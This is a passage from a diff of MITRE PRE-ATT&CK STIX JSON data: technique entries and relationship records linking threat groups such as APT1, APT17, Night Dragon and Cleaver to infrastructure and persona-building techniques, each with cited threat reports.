to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1362", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1362" + }, + { + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017.", + "source_name": "APT1" + }, + { + "description": "GReAT. (2013, January 17). \u201cRed October\u201d. Detailed Malware Description 4. Second Stage of Attack. Retrieved March 7, 2017.", + "source_name": "RedOctober" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1104", + "x_mitre_detectable_by_common_defenses_explanation": "This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information. However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.", + "name": "Use multiple DNS infrastructures", + "description": "A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--616238cb-990b-4c71-8f50-d8b10ed8ce6b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Requires more planning, but feasible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1327", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1327" + }, + { + "description": "Brian Krebs. (2015, May 18). St. Louis Federal Reserve Suffers DNS Breach. Retrieved March 6, 2017.", + "source_name": "KrebsStLouisFed" + } + ], + "x_mitre_detectable_by_common_defenses": "Partial" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bbb1c074-a93a-4e40-b11e-2151403f7f1d", + "source_ref": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used servers in China, the U.S., and the Netherlands in an attempt to hide their operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0adf353d-688b-46ce-88bb-62a008675fe0", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used third party hosting services in the U.S. in an attempt to hide their operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c6e43693-2a6d-4ba8-8fa7-ec1ab5239528", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.820Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--46f1e7d4-4d73-4e33-b88b-b3bcde5d81fb", + "source_ref": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ef32147c-d309-4867-aaba-998088290e32", + "source_ref": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e4501560-7850-4467-8422-2cf336429e8a", + "source_ref": "attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a", + "description": "[APT1](https://attack.mitre.org/groups/G0006) hijacked FQDNs associated with legitimate websites hosted by hop points. Mandiant considers them to be \u201chijacked\u201d since they were originally registered for a legitimate reason but are used by APT1 for malicious purposes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--db10491f-a854-4404-9271-600349484bc3", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.223Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b", + "description": "[APT16](https://attack.mitre.org/groups/G0023) has compromised otherwise legitimate sites as staging servers for second-stage payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f8559304-7ef6-4c48-8d76-a56ebf37c0be", + "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70", + "modified": "2019-03-22T14:20:45.685Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6ba71250-1dc7-4b8d-88e7-698440ea18a0", + "source_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--984d13eb-ba9c-4e7c-8675-85dde9877a81", + "source_ref": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f8504a07-758c-4c51-ac94-c2e7ba652e29", + "source_ref": "attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--28bf7e8b-9948-40a8-945b-6b5f2c78ec53", + "source_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f24a6bf4-c60f-4fa6-8f6a-f2806ae92cdd", + "source_ref": "attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--60b6c9a6-7705-4c72-93bb-67de0caf11f4", + "source_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a7f177e4-7e7f-4883-af3d-c95db9ea7a53", + "source_ref": "attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4a69750c-47d5-40f5-b753-c6bb2a27a359", + "source_ref": "attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c124f0ba-f4bc-430a-b40c-eebe0577f812", + "source_ref": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has used zhCat to encrypt traffic or use inline obfuscation to make detection more difficult. zhCat makes message traffic look benign.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f43faad4-a016-4da0-8de6-53103d429268", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "modified": "2019-03-22T20:00:23.837Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used privately developed and customized remote access tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a34c16e9-bc7e-45f5-a9a2-8b05d868e6a0", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.918Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5dc0b076-5f25-4bda-83c7-1d8bd214b81a", + "source_ref": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8bcaccd1-403b-40f1-82d3-ac4d873263f8", + "source_ref": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ab313887-ff00-4aa9-8edb-ab107c517c19", + "source_ref": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a29f2adc-c328-4cf3-9984-2c0c72ec7061", + "source_ref": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1143e6a6-deef-4dbd-8c91-7bf537d8f5ce", + "source_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ac1dfc58-d5a2-4b6f-9bf4-c6c0d2d3ae80", + "source_ref": "attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--271e6d40-e191-421a-8f87-a8102452c201", + "description": "[APT17](https://attack.mitre.org/groups/G0025) created biographical sections on TechNet profile pages to appear more legitimate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--614f64d8-c221-4789-b1e1-787e9326a37b", + "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "modified": "2019-03-22T14:21:19.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) created fake LinkedIn profiles.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ab356c7a-6922-4143-90eb-5be632e2f6cd", + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "modified": "2019-03-22T20:00:23.846Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell Threat Group 2889", + "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7bd3d2ba-f114-4835-97b6-1c3e2208d3f3", + "source_ref": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--94daf955-fb3e-4f13-af60-0e3ffa185be0", + "source_ref": "attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used publicly available privilege escalation tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2b0ec032-eaca-4f0c-be55-39471f0f2bf5", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.337Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b", + "description": "[APT1](https://attack.mitre.org/groups/G0006) compromised a vast set of 3rd party victim hop points as part of their network infrastructure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8a2c46d3-92f2-4ff7-a912-8d47189a7d79", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.441Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9a1f729c-72a9-4735-9d48-ecb54ea018a9", + "source_ref": "attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bc165934-7ef6-4aed-a0d7-81d3372589f4", + "source_ref": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--22d4f32c-63c1-400f-8e2c-10e4a200d133", + "source_ref": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9ad9966d-4a8d-4b15-b503-c5d27104fcdd", + "source_ref": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4", + "description": "[APT17](https://attack.mitre.org/groups/G0025) posted in forum threads and created profile pages in Microsoft TechNet.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--545cd36e-572e-413d-82b9-db65788791f9", + "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "modified": "2019-03-22T14:21:19.554Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--715a66b4-7925-40b4-868a-e47aba879f8b", + "source_ref": "attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--db4dfa09-7f19-437a-9d79-15f2dc8ba0da", + "source_ref": "attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0e52753e-0a02-4bec-88f9-f8ee21b46bae", + "source_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--be031f72-737b-4afd-b2c1-c565f5ab7369", + "source_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "related-to" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b", + "description": "[APT1](https://attack.mitre.org/groups/G0006) hijacked FQDNs associated with legitimate websites hosted by hop points. Mandiant considers them to be \u201chijacked\u201d since they were originally registered for a legitimate reason but were used by APT1 for malicious purposes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", 